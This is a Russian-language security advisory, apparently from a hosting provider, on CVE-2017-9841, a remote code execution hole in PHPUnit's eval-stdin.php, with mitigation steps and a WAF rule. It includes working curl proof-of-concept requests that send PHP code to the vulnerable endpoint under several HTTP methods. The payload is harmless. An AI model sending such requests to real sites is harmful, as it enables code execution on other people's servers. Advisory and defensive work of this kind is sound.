CVE-2017-9841: что это такое и как мы защищаем наших клиентов?

Недавно обнаруженное ранее нарушение безопасности CVE (Common Vulnerabilities and Exposures), CVE-2017-9841, снова привлекло внимание благодаря предупреждению системы безопасности PrestaShop. К сожалению, он уже некоторое время эксплуатируется «в дикой природе».



Какие риски?

CVE-2017-9841 Уязвимость позволяет злоумышленнику удаленно запускать PHP — код на несовершенных сайтов, эксплуатируя брешь в PHPUnit.

Это может позволить пользователю, например:

  • Доступ к конфиденциальному контенту на целевом веб-сайте (файлы, учетные данные базы данных, контент базы данных…)
  • Изменить содержимое файлов
  • Рассылать спам
  • Установить вредоносное ПО

Ниже вы найдете иллюстрацию того, как можно использовать эту уязвимость:

Установите уязвимую версию PHPUnit с помощью композитора


В этом примере мы предполагаем, что:

  • Composer уже установлен и присутствует в переменной среды PATH
  • DocumentRoot веб-сайта находится в $ {HOME} / www.
  • Доменное имя сайта demo-cve.ovh

$ composer --no-cache --working-dir=${HOME}/www require phpunit/phpunit 5.6.2
./composer.json has been created
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 26 installs, 0 updates, 0 removals
  - Installing symfony/polyfill-ctype (v1.13.1): Downloading (100%)         
  - Installing symfony/yaml (v3.4.36): Downloading (100%)         
  - Installing sebastian/version (2.0.1): Downloading (100%)         
  - Installing sebastian/resource-operations (1.0.0): Downloading (100%)         
  - Installing sebastian/recursion-context (1.0.5): Downloading (100%)         
  - Installing sebastian/object-enumerator (1.0.0): Downloading (100%)         
  - Installing sebastian/global-state (1.1.1): Downloading (100%)         
  - Installing sebastian/exporter (1.2.2): Downloading (100%)         
  - Installing sebastian/environment (2.0.0): Downloading (100%)         
  - Installing sebastian/diff (1.4.3): Downloading (100%)         
  - Installing sebastian/comparator (1.2.4): Downloading (100%)         
  - Installing doctrine/instantiator (1.3.0): Downloading (100%)         
  - Installing phpunit/php-text-template (1.2.1): Downloading (100%)         
  - Installing phpunit/phpunit-mock-objects (3.4.4): Downloading (100%)         
  - Installing phpunit/php-timer (1.0.9): Downloading (100%)         
  - Installing phpunit/php-file-iterator (1.4.5): Downloading (100%)         
  - Installing sebastian/code-unit-reverse-lookup (1.0.1): Downloading (100%)         
  - Installing phpunit/php-token-stream (2.0.2): Downloading (100%)         
  - Installing phpunit/php-code-coverage (4.0.8): Downloading (100%)         
  - Installing webmozart/assert (1.6.0): Downloading (100%)         
  - Installing phpdocumentor/reflection-common (2.0.0): Downloading (100%)         
  - Installing phpdocumentor/type-resolver (1.0.1): Downloading (100%)         
  - Installing phpdocumentor/reflection-docblock (4.3.4): Downloading (100%)         
  - Installing phpspec/prophecy (1.10.1): Downloading (100%)         
  - Installing myclabs/deep-copy (1.9.4): Downloading (100%)         
  - Installing phpunit/phpunit (5.6.2): Downloading (100%)         
symfony/yaml suggests installing symfony/console (For validating YAML files using the lint command)
sebastian/global-state suggests installing ext-uopz (*)
phpunit/php-code-coverage suggests installing ext-xdebug (^2.5.1)
phpunit/phpunit suggests installing phpunit/php-invoker (~1.1)
phpunit/phpunit suggests installing ext-xdebug (*)
Package phpunit/phpunit-mock-objects is abandoned, you should avoid using it. No replacement was suggested.
Writing lock file
Generating autoload files


На удаленной машине мы воспользуемся уязвимостью и расшифруем текст в кодировке base64 с помощью PHP.

$ curl -XPOST --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841


Имейте в виду, что уязвимость также может быть использована другими методами HTTP, кроме POST. Например:

$ curl -XGET --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XPUT --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XDELETE --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XOPTIONS --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XPATCH --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841


Как видите, эксплойт довольно простой, но очень мощный. Легко представить, какой вред может произойти.

Как уменьшить уязвимость?

Изначально нарушение было исправлено PHPUnit, когда впервые была раскрыта CVE. Однако не все поставщики CMS (например, PrestaShop) обновили версию, включенную в процесс установки.

Более того, PHPUnit не предназначен для использования на критических путях обслуживания веб-страниц. Это означает, что нет случаев использования, когда PHPUnit должен быть доступен для внешних HTTP-запросов.

Так что исправить довольно просто: нужно сделать PHPUnit недоступным.

Если обновления CMS недоступны (или не могут быть применены), можно выполнить любое из следующих действий:

  • Удалите модуль PHPUnit:
    • Через композитор (если установка производилась с помощью композитора)

$ composer --working-dir=${HOME}/www remove phpunit/phpunit
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 0 installs, 0 updates, 26 removals
  - Removing webmozart/assert (1.6.0)
  - Removing symfony/yaml (v3.4.36)
  - Removing symfony/polyfill-ctype (v1.13.1)
  - Removing sebastian/version (2.0.1)
  - Removing sebastian/resource-operations (1.0.0)
  - Removing sebastian/recursion-context (1.0.5)
  - Removing sebastian/object-enumerator (1.0.0)
  - Removing sebastian/global-state (1.1.1)
  - Removing sebastian/exporter (1.2.2)
  - Removing sebastian/environment (2.0.0)
  - Removing sebastian/diff (1.4.3)
  - Removing sebastian/comparator (1.2.4)
  - Removing sebastian/code-unit-reverse-lookup (1.0.1)
  - Removing phpunit/phpunit-mock-objects (3.4.4)
  - Removing phpunit/phpunit (5.6.2)
  - Removing phpunit/php-token-stream (2.0.2)
  - Removing phpunit/php-timer (1.0.9)
  - Removing phpunit/php-text-template (1.2.1)
  - Removing phpunit/php-file-iterator (1.4.5)
  - Removing phpunit/php-code-coverage (4.0.8)
  - Removing phpspec/prophecy (1.10.1)
  - Removing phpdocumentor/type-resolver (1.0.1)
  - Removing phpdocumentor/reflection-docblock (4.3.4)
  - Removing phpdocumentor/reflection-common (2.0.0)
  - Removing myclabs/deep-copy (1.9.4)
  - Removing doctrine/instantiator (1.3.0)
Generating autoload files


  • Удалите установочную папку

$ rm -rf ${HOME}/www/vendor/phpunit


  • Блокировать HTTP-запросы к URL-адресу, достигающему модуля PHPUnit

$ cat << EOF > ${HOME}/www/.htaccess 
<IfModule mod_rewrite.c>
     RewriteEngine On
     RewriteRule ^vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php$ - [F]
</IfModule>
EOF


  • Запретить HTTP-запросы, нацеленные на папку «vendor»

$ cat << EOF > ${HOME}/www/vendor/.htaccess
Require all denied
EOF


Как веб-хостинг OVHcloud защищает вас?

Клиенты OVHcloud Web Hosting чрезвычайно разнообразны, поэтому исправления могут потребовать слишком много времени, чтобы применить их на каждом отдельном веб-сайте.

Поэтому мы решили применить высокоуровневую защиту для платформ веб-хостинга OVHcloud.

Ниже вы найдете простую схему инфраструктуры веб-хостинга OVHcloud:



  • IPLB (балансировщики нагрузки OVHcloud) являются точкой входа в кластеры веб-хостинга. Они несут свои IP-адреса и заботятся об их высокой доступности и балансировке нагрузки. Они передают запросы в « WAF ».
  • WAF (брандмауэр веб-приложений) обрабатывает весь трафик и может действовать как фильтр. Они направляют запросы на веб-серверы . « WAF » — это серверы верхнего уровня в стеке кластера. Они также очень доступны.
  • Веб-серверы отвечают за обслуживание ресурсов и выполнение сред (PHP, Node.js…).

Чтобы защитить всех пользователей нашего веб-хостинга OVHcloud, мы решили заблокировать все запросы к /phpunit/src/Util/PHP/eval-stdin.php со стороны WAF до того, как они достигнут наших веб-серверов.

Технически наше решение WAF основано на Naxsi. Поэтому на практике мы добавили правило для сопоставления и отклонения всех запросов с шаблоном «/phpunit/src/Util/PHP/eval-stdin.php», которое охватывает все методы HTTP. Заблокированные запросы вызывают ошибку HTTP 503.

Итак, если мы попробуем использовать эксплойт на сайте, размещенном на платформах веб-хостинга OVHcloud, мы получим следующий результат:

$ curl -XGET --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 
<html>
<head><title>503 Service Temporarily Unavailable</title></head> 
<body> 
<center><h1>503 Service Temporarily Unavailable</h1></center> 
<hr><center>nginx</center> 
</body> 
</html>


Ключевые цифры

Чтобы дать вам представление о масштабах этой атаки, мы заблокировали около 4,5 миллионов запросов, направленных на PHPUnit, за одну неделю, используя около 2000 различных шаблонов URL.
  • Запросы, заблокированные для каждого кластера в течение одного дня:




  • Самые популярные модели заблокированных запросов каждую неделю:



Некоторые лучшие практики

  • Если вы используете CMS, такую ​​как WordPress , PrestaShop , Drupal , Joomla! , или Ghost , обновляйте его компоненты (т. е. ядро ​​и плагины) и по возможности включайте автоматические обновления.
  • Используйте время выполнения (PHP, Node.js…), которое все еще поддерживается. Поддерживаемые версии PHP и версии, поддерживаемые Node.js , доступны по этим ссылкам.
  • Не устанавливайте «пакеты разработки» в производственной среде, если они вам не нужны.
  • Ограничьте доступ к ресурсам, которые не нужно размещать в Интернете. Папка «vendor» в Composer — хороший пример.
  • Иметь минимальные права доступа к файлам и папкам. Например, только некоторые из них должны быть доступны для записи.

0 комментариев

Оставить комментарий